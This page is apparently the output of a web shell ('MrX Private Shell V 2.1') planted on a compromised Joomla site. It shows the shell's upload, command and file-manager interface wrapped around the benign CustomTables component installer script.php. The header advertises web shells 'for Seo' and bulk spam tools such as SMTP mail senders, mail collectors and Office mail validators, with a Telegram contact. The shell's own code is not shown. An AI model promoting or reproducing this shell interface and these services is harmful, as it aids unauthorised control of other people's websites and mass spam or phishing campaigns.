__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component
 * @package Custom Tables
 * @subpackage script.php
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.installer.installer');
jimport('joomla.installer.helper');

use CustomTables\CT;
use CustomTables\database;
use CustomTables\IntegrityChecks;
use CustomTables\MySQLWhereClause;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Version;

/**
 * Script File of Customtables Component
 */
class com_customtablesInstallerScript
{
	/**
	 * method to uninstall the component
	 *
	 * @return void
	 */
	function uninstall($parent)
	{
		// little notice as after service, in case of bad experience with component.
		echo '<h2>Did something go wrong? Are you disappointed?</h2>
		<p>Please let me know at <a href="mailto:[email protected]">[email protected]</a>.
		<br />We at JoomlaBoat.com are committed to building extensions that performs proficiently! You can help us, really!
		<br />Send me your thoughts on improvements that is needed, trust me, I will be very grateful!
		<br />Visit us at <a href="https://joomlaboat.com" target="_blank">https://joomlaboat.com</a> today!</p>';
	}

	/**
	 * method to run before an install/update/uninstall method
	 *
	 * @return void
	 */
	function preflight($type, $parent)
	{
		// get application
		$app = Factory::getApplication();
		// is redundant ...mmm
		if ($type == 'uninstall') {
			return true;
		}
		// the default for both install and update
		$VersionObject = new Version();
		if (!$VersionObject->isCompatible('3.6.0')) {
			$app->enqueueMessage('Please upgrade to at least Joomla! 3.6.0 before continuing!', 'error');
			return false;
		}
		// do any updates needed
		if ($type == 'update') {
		}
		// do any install needed
		if ($type == 'install') {
		}
	}

	/**
	 * method to run after an install/update/uninstall method
	 *
	 * @return void
	 * @throws Exception
	 * @since 3.2.3
	 */
	function postflight($type, $parent)
	{
		if ($type == 'uninstall') {
			return true; //No need to do anything
		}

		if (!file_exists(JPATH_SITE . DIRECTORY_SEPARATOR . 'images' . DIRECTORY_SEPARATOR . 'ct_images'))
			mkdir(JPATH_SITE . DIRECTORY_SEPARATOR . 'images' . DIRECTORY_SEPARATOR . 'ct_images');

		$loader_file = JPATH_SITE . DIRECTORY_SEPARATOR . 'components' . DIRECTORY_SEPARATOR . 'com_customtables' . DIRECTORY_SEPARATOR . 'libraries' . DIRECTORY_SEPARATOR
			. 'customtables' . DIRECTORY_SEPARATOR . 'loader.php';

		if (file_exists($loader_file)) {
			//Do not run on uninstall
			require_once($loader_file);
			CustomTablesLoader(true);
			$ct = new CT;

			$result = IntegrityChecks::check($ct, true, false);
			if (count($result) > 0)
				echo '<ol><li>' . implode('</li><li>', $result) . '</li></ol>';
		} else {
			echo '<h3>CT Loader not installed!</h3>';
			echo '<p>Path: ' . $loader_file . '</p>';
			return false;
		}

		// set the default component settings
		if ($type == 'install') {
			// Install the global extension assets permission.

			$data = [
				'rules' => '{"site.catalog.access":{"1":1}}'
			];
			$whereClauseUpdate = new MySQLWhereClause();
			$whereClauseUpdate->addCondition('name', 'com_customtables');
			database::update('#__assets', $data, $whereClauseUpdate);

			$data = [
				'params' => '{"autorName":"Ivan Komlev","autorEmail":"[email protected]"}'
			];
			$whereClauseUpdate = new MySQLWhereClause();
			$whereClauseUpdate->addCondition('element', 'com_customtables');
			database::update('#__extensions', $data, $whereClauseUpdate);

			echo '<a target="_blank" href="https://joomlaboat.com" title="Custom Tables">'
				. '<img src="' . Uri::root(false) . 'components/com_customtables/libraries/customtables/media/images/controlpanel/customtables.jpg"/>'
				. '</a>';
		}
		// do any updates needed
		if ($type == 'update') {
			echo '<a target="_blank" href="https://joomlaboat.com" title="Custom Tables">'
				. '<img src="' . Uri::root(false) . 'components/com_customtables/libraries/customtables/media/images/controlpanel/customtables.jpg"/>'
				. '</a>'
				. '<h3>Upgrade was Successful!</h3>';
		}
	}

	/**
	 * method to update the component
	 *
	 * @return void
	 */
	function update($parent)
	{

	}
}

Filemanager

Name Type Size Permission Actions
controllers Folder 0775
helpers Folder 0775
layouts Folder 0775
models Folder 0775
tables Folder 0775
views Folder 0775
access.xml File 3.44 KB 0664
config.xml File 4.8 KB 0664
controller.php File 3.56 KB 0664
customtables.php File 1.48 KB 0664
customtables.xml File 7.18 KB 0664
index.html File 43 B 0664
script.php File 4.48 KB 0664
Filemanager